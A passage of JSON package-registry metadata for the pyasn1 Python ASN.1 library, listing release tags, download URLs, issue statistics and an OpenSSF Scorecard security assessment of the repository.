"2017-07-26T17:30:36.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.3.1","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.1/manifests"},{"name":"0.2.3","sha":"a95b62a8b026d8c61a9c12d257cdf584f7bcdb8e","kind":"commit","published_at":"2017-02-25T22:39:16.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/0.2.3","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/0.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@0.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/0.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/0.2.3/manifests"},{"name":"v0.2.2","sha":"c22b813b9251c35347eace1ea3189d9cbfadfa24","kind":"commit","published_at":"2017-02-07T00:17:50.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.2.2","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.2.2/manifests"},{"name":"v0.2.1","sha":"3fee03b393ee6a6e7e0baf70e54ce5ae7f7e42c1","kind":"commit","published_at":"2017-02-04T22:34:36.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.2.1","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.2.1/manifests"}]},"repo_metadata_updated_at":"2026-08-15T09:21:24.911Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":5.10461320031639,"dependent_packages_count":4.782849713919924,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":4.943731457118156},"purl":"pkg:golang/github.com/pyasn1/pyasn1","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/go/github.com/pyasn1/pyasn1","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/go/github.com/pyasn1/pyasn1","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/go/github.com/pyasn1/pyasn1/dependencies","status":null,"funding_links":["http://snmplabs.com/sponsorship.html"],"critical":null,"issue_metadata":{"last_synced_at":"2026-08-12T07:46:08.959Z","issues_count":58,"pull_requests_count":79,"avg_time_to_close_issue":9508472.26923077,"avg_time_to_close_pull_request":4086520.484375,"issues_closed_count":26,"pull_requests_closed_count":64,"pull_request_authors_count":21,"issue_authors_count":51,"avg_comments_per_issue":1.396551724137931,"avg_comments_per_pull_request":0.45569620253164556,"merged_pull_requests_count":61,"bot_issues_count":0,"bot_pull_requests_count":0,"past_year_issues_count":11,"past_year_pull_requests_count":20,"past_year_avg_time_to_close_issue":411038.6666666667,"past_year_avg_time_to_close_pull_request":1111002.7,"past_year_issues_closed_count":3,"past_year_pull_requests_closed_count":10,"past_year_pull_request_authors_count":8,"past_year_issue_authors_count":9,"past_year_avg_comments_per_issue":0.5454545454545454,"past_year_avg_comments_per_pull_request":0.3,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":0,"past_year_merged_pull_requests_count":9,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/issues","maintainers":[{"login":"droideck","count":2,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/droideck"}],"active_maintainers":[{"login":"droideck","count":2,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/droideck"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fpyasn1%2Fpyasn1/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fpyasn1%2Fpyasn1/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fpyasn1%2Fpyasn1/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fpyasn1%2Fpyasn1/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fpyasn1%2Fpyasn1/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fpyasn1%2Fpyasn1/codemeta","maintainers":[],"registry":{"name":"proxy.golang.org","url":"https://proxy.golang.org","ecosystem":"go","default":true,"packages_count":2281833,"maintainers_count":0,"namespaces_count":839441,"keywords_count":124461,"github":"golang","metadata":{"funded_packages_count":67285,"sync_missing_packages_cursor":{"timestamp":"2026-08-17T00:00:58.969562Z","path":"github.com/Tektoncd/operator","version":"v0.78.0"},"rate_limit":1},"icon_url":"https://github.com/golang.png","created_at":"2022-04-04T15:19:22.939Z","updated_at":"2026-08-20T05:01:26.475Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/namespaces"}},{"id":13008101,"name":"py3-asn1","ecosystem":"alpine","description":"Python3 ASN1 library","homepage":"https://github.com/pyasn1/pyasn1","licenses":"BSD-2-Clause","normalized_licenses":["BSD-2-Clause"],"repository_url":"https://github.com/pyasn1/pyasn1","keywords_array":[],"namespace":"community","versions_count":1,"first_release_published_at":"2024-10-29T00:10:11.000Z","latest_release_published_at":"2024-10-29T00:10:11.000Z","latest_release_number":"0.6.1-r0","last_synced_at":"2026-08-11T08:01:30.779Z","created_at":"2026-01-31T00:30:30.697Z","updated_at":"2026-08-15T09:21:24.891Z","registry_url":"https://pkgs.alpinelinux.org/package/v3.23/community/x86_64/py3-asn1","install_command":"apk add py3-asn1","documentation_url":null,"metadata":{"repository":"community","architecture":"x86_64"},"repo_metadata":{"id":44472576,"uuid":"512723255","full_name":"pyasn1/pyasn1","owner":"pyasn1","description":"Generic ASN.1 library for Python","archived":false,"fork":true,"pushed_at":"2026-07-09T01:25:56.000Z","size":1918,"stargazers_count":52,"open_issues_count":35,"forks_count":39,"subscribers_count":5,"default_branch":"main","last_synced_at":"2026-08-08T05:52:12.087Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":"https://pyasn1.readthedocs.io/","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":"etingof/pyasn1","license":"bsd-2-clause","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/pyasn1.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGES.rst","contributing":null,"funding":".github/FUNDING.yml","license":"LICENSE.rst","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null},"funding":{"custom":"http://snmplabs.com/sponsorship.html"}},"created_at":"2022-07-11T11:09:16.000Z","updated_at":"2026-08-07T19:59:54.000Z","dependencies_parsed_at":"2023-01-31T20:55:14.322Z","dependency_job_id":null,"html_url":"https://github.com/pyasn1/pyasn1","commit_stats":null,"previous_names":[],"tags_count":20,"template":false,"template_full_name":null,"purl":"pkg:github/pyasn1/pyasn1","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/pyasn1","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/sbom","scorecard":{"id":751119,"data":{"date":"2025-08-11","repo":{"name":"github.com/pyasn1/pyasn1","commit":"d2015ad04336944511ce7643914e8daf432ef2f9"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":5.8,"checks":[{"name":"Maintained","score":1,"reason":"2 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 1","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Code-Review","score":6,"reason":"Found 19/28 approved changesets -- score normalized to 6","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Token-Permissions","score":10,"reason":"GitHub workflow tokens follow principle of least privilege","details":["Info: topLevel 'contents' permission set to 'read': .github/workflows/main.yml:23","Info: topLevel 'contents' permission set to 'read': .github/workflows/pypi.yml:5","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:46: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:49: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:66: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:80: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:87: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi.yml:34: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/pypi.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi.yml:38: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/pypi.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi.yml:50: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/pypi.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi.yml:56: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/pypi.yml/main?enable=pin","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:56","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:58","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:75","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:77","Warn: pipCommand not pinned by hash: .github/workflows/pypi.yml:43","Warn: pipCommand not pinned by hash: .github/workflows/pypi.yml:45","Info:   0 out of   8 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of   2 third-party GitHubAction dependencies pinned","Info:   0 out of   6 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE.rst:0","Info: FSF or OSI recognized license: BSD 2-Clause \"Simplified\" License: LICENSE.rst:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":8,"reason":"branch protection is not maximal on development and all release branches","details":["Info: 'allow deletion' disabled on branch 'main'","Info: 'force pushes' disabled on branch 'main'","Warn: required approving review count is 1 on branch 'main'","Warn: codeowners review is not required on branch 'main'","Info: status check found to merge onto on branch 'main'","Info: PRs are required in order to make changes on branch 'main'"],"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Security-Policy","score":0,"reason":"security policy file not detected","details":["Warn: no security policy file detected","Warn: no security file to analyze","Warn: no security file to analyze","Warn: no security file to analyze"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"SAST","score":0,"reason":"SAST tool is not run on all commits -- score normalized to 0","details":["Warn: 0 commits out of 29 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-22T20:24:45.472Z","repository_id":44472576,"created_at":"2025-08-22T20:24:45.472Z","updated_at":"2025-08-22T20:24:45.472Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":36403979,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-08-06T04:43:03.162Z","status":"online","status_checked_at":"2026-08-08T02:00:08.763Z","response_time":96,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"pyasn1","name":"pyasn1 maintenance organization","uuid":"109076791","kind":"organization","description":"","email":null,"website":null,"location":null,"twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/109076791?v=4","repositories_count":3,"last_synced_at":"2026-08-08T06:20:56.606Z","metadata":{"has_sponsors_listing":false,"funding":null},"html_url":"https://github.com/pyasn1","funding_links":[],"total_stars":61,"followers":3,"following":0,"created_at":"2024-05-21T11:51:17.782Z","updated_at":"2026-08-08T06:20:56.656Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/pyasn1","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/pyasn1/repositories"},"tags":[{"name":"v0.5.0.rc2","sha":"08ac8006b7775551027e5d4b0e642a528c296565","kind":"commit","published_at":"2022-08-23T07:25:48.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.5.0.rc2","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.5.0.rc2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.5.0.rc2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.5.0.rc2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.5.0.rc2/manifests"},{"name":"v0.5.0.rc1","sha":"0f458da4eb801add67c47d51e8e147515ea0ca19","kind":"commit","published_at":"2022-08-08T08:40:20.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.5.0.rc1","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.5.0.rc1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.5.0.rc1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.5.0.rc1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.5.0.rc1/manifests"},{"name":"v0.4.8","sha":"70c1bbde72f8b53f82ed1a7e00cb98fe51c1455f","kind":"commit","published_at":"2019-11-16T17:12:43.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.8","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.8/manifests"},{"name":"v0.4.7","sha":"771aa24c2b52e0ec410f9a94c3a114a6078a3641","kind":"commit","published_at":"2019-09-01T15:58:56.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.7","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.7/manifests"},{"name":"v0.4.6","sha":"bb6b6e26fd2072dae8ba6664e2b8b6c5b78ce5a8","kind":"commit","published_at":"2019-07-31T19:43:30.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.6","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.6/manifests"},{"name":"v0.4.5","sha":"df6fc9a8aae16e32f60a1ff1f42a52c8c344a993","kind":"commit","published_at":"2018-12-29T20:44:17.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.5","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.5/manifests"},{"name":"v0.4.4","sha":"4ad415d71beb6b466842e6c32ec6387b88a3dbae","kind":"commit","published_at":"2018-07-26T07:26:23.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.4","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.4/manifests"},{"name":"v0.4.3","sha":"4b7961a12bfce7a411423aba195bcb9a329f8c4a","kind":"commit","published_at":"2018-05-23T20:36:13.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.3","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.3/manifests"},{"name":"v0.4.2","sha":"df3a2b7781c72ffc703e80d788618d93634e17ab","kind":"commit","published_at":"2017-11-23T18:48:19.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.2","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.2/manifests"},{"name":"v0.4.1","sha":"67e460c8302cd1e2cf181b0d0430f3cdd9681b0c","kind":"commit","published_at":"2017-11-23T10:44:10.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.1","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.1/manifests"},{"name":"v0.3.7","sha":"136f9e71f50ed8938037e5641b19d857f11b13e4","kind":"commit","published_at":"2017-10-04T20:04:07.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.3.7","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.3.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.3.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.7/manifests"},{"name":"v0.3.6","sha":"57b7faf331fe5f2b1cbaa530ea39ed10dfdfe3b7","kind":"commit","published_at":"2017-09-20T20:30:05.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.3.6","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.3.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.3.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.6/manifests"},{"name":"v0.3.5","sha":"3182ecf81839ae4072a46706c3d0426a03f80be8","kind":"commit","published_at":"2017-09-16T22:16:53.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.3.5","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.3.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.3.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.5/manifests"},{"name":"v0.3.4","sha":"f53f48553c5e683a0c5e9e8009ef754410f2b9e0","kind":"commit","published_at":"2017-09-07T06:59:46.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.3.4","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.3.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.3.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.4/manifests"},{"name":"v0.3.3","sha":"3938e520f13feee93dccabf9824f0da122cc54ed","kind":"commit","published_at":"2017-08-26T23:30:41.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.3.3","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.3.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.3.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.3/manifests"},{"name":"v0.3.2","sha":"c7ff66bd5bd64b4a7473dbdfbb931b7c56f5f5cd","kind":"commit","published_at":"2017-08-04T18:40:24.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.3.2","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.2/manifests"},{"name":"v0.3.1","sha":"d6540fd67a0080f369a1b165eae4ad946155dad9","kind":"commit","published_at":"2017-07-26T17:30:36.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.3.1","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.1/manifests"},{"name":"0.2.3","sha":"a95b62a8b026d8c61a9c12d257cdf584f7bcdb8e","kind":"commit","published_at":"2017-02-25T22:39:16.000Z","download_url":"https://codeload.github.com/py